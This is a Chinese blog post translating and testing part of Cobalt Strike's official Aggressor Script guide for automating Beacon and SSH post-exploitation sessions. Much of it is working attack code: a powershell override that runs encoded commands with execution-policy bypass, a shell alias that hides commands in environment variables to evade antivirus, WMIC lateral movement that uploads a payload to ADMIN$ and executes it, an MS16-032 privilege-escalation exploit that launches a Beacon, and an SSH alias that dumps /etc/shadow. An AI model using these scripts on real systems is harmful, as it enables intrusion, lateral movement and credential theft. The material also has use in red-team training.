CobaltStrike插件开发官方指南 Part3

2019-09-05 约 2944 字 预计阅读 6 分钟

声明:本文 【CobaltStrike插件开发官方指南 Part3】 由作者 CoolCat 于 2019-09-05 08:59:00 首发 先知社区 曾经 浏览数 120 次

感谢 CoolCat 的辛苦付出!

CobaltStrike插件开发官方指南 Part3

翻译+实践

原文地址:

https://www.cobaltstrike.com/agscript-script/index.html

0x05 Beacon

BeaconCobalt Strike后渗透的重要功能。 本章中将探讨如何使用agscript自动执行Beacon的一些功能。

元数据处理

Cobalt Strike给每个Beacon会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons函数可查询到查询所有当前Beacon会话的元数据,beacon_info函数则是用于查询制定Beacon会话的元数据。 Demo:

command beacons {
    local('$entry $key $value');
    foreach $entry (beacons()) {
        println("== " . $entry['id'] . " ==");
        foreach $key => $value ($entry) {
            println("$[20]key : $value");
        }
        println();
    }
}

处理方式和数组一致。

Aliases

快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:

alias hello {
       blog($1, "Hello World!");
}

(和command函数感觉没啥差异。)

快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。

官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。【难过.png】

alias echo {
    blog($1, "You typed: " . substr($1, 5));
}

beacon_command_register(
    "echo", 
    "echo text to beacon log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the beacon console");

使用上述代码注册后即可在beacon里面使用快捷命令。

处理新Beacons会话

此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。

涉及到的函数是beacon_initial)

官方说明:

on beacon_initial {
    # do some stuff
}

这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。

这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty事件。

右键菜单

直接看官方示例:

popup beacon_bottom {
    item "Run All..." {
        prompt_text("Which command to run?", "whoami /groups", lambda({
            binput(@ids, "shell $1");
            bshell(@ids, $1);
        }, @ids => $1));
    }
}

这里有两个函数可以在右键菜单中添加功能项,分别是beacon_topbeacon_bottom

任务描述

原文标题为Acknowledging Tasks,字面意思确认任务???

官方demo:

alias survey {
    btask($1, "Surveying the target!", "T1082");
    bshell!($1, "echo Groups && whoami /groups");
    bshell!($1, "echo Processes && tasklist /v");
    bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
    bshell!($1, "echo System Info && systeminfo");
}

添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。

分类详情:

https://attack.mitre.org/

案例1 已有指令覆盖

Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:

alias powershell {
    local('$args $cradle $runme $cmd');

    # $0 is the entire command with no parsing.
    $args   = substr($0, 11);

    # generate the download cradle (if one exists) for an imported PowerShell script
    $cradle = beacon_host_imported_script($1);

    # encode our download cradle AND cmdlet+args we want to run
    $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

    # Build up our entire command line.
    $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";

    # task Beacon to run all of this.
    btask($1, "Tasked beacon to run: $args", "T1086");
    beacon_execute_job($1, "powershell", $cmd, 1);
}

从上到下面逐行理解:

line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon

同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:

alias shell {
    local('$args');
    $args = substr($0, 6);
    btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
    bsetenv!($1, "_", $args);
    beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

可以利用环境变量来做一些免杀吧。

案例2 横向渗透

看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-alt。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。

首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:

# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
    "Synopsis: wmi-alt [target] [listener]\n\n" .
    "Generates an executable and uses wmic to run it on a target");

完整的实现代码:

alias wmi-alt {
    local('$mydata $myexe');

    # check if our listener exists
    if (listener_info($3) is $null) {
        berror($1, "Listener $3 does not exist");
        return;
    }

    # generate our executable artifact
    $mydata = artifact($3, "exe", true);

    # generate a random executable name
    $myexe  = int(rand() * 10000) . ".exe";

    # state what we're doing.
    btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");

    # upload our executable to the target
    bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);

    # use wmic to run myexe on the target
    bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");

    # complete staging process (for bind_pipe listeners)
    bstage($1, $2, $3);
}

bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看bupload_raw函数的详细说明。

案例3 提权

和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

完整demo:

sub ms16_032_exploit {
    local('$script $oneliner');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

    # generate a PowerShell script to run our Beacon listener
    $script = artifact($2, "powershell");

    # host this script within this Beacon
    $oneliner = beacon_host_script($1, $script);

    # task Beacon to run this exploit with our one-liner that runs Beacon
    bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
    bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

    # handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
    bstage($1, $null, $2);
}

这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。

0x06 SSH会话

Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。

SSH会话的性质

与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。

一个用于过滤Beacon中ssh会话的demo函数

sub ssh_sessions {
    return map({
        if (-isssh $1['id']) {
            return $1;
        }
        else {
            return $null;
        }
    }, beacons());
}

SSH快捷命令

直接看demo:

ssh_alias hashdump {
    if (-isadmin $1) {
        bshell($1, "cat /etc/shadow");
    }
    else {
        berror($1, "You're (probably) not an admin");
    }
}

除此之外之外还可以使用ssh_command_register注册ssh命令。用法和beacon一致。

ssh_alis echo {
    blog($1, "You typed: " . substr($1, 5));
}

ssh_command_register(
    "echo", 
    "echo posts to the current session's log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the SSH console");

SSH新会话处理

和beacon相似度极高,几乎就是把beacon这个关键字关城ssh即可。比如下属dome:

on ssh_initial {
    # do some stuff
}

beacon使用到的是beacon_initial。传输的唯一参数$1为ssh会话的ID。

右键菜单

和beacon右键菜单的写法除了名称不同,其他无异。

  • beacon:beacon_bottom,beacon_top
  • ssh : ssh

demo

popup ssh {
    item "testPopup" {
        prompt_text("Which command to run?", "w", lambda({
            binput(@ids, "shell $1");
            bshell(@ids, $1);
        }, @ids => $1));
    }
}

官方写明确写了ssh会话只是beacon会话的一个子集而已。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now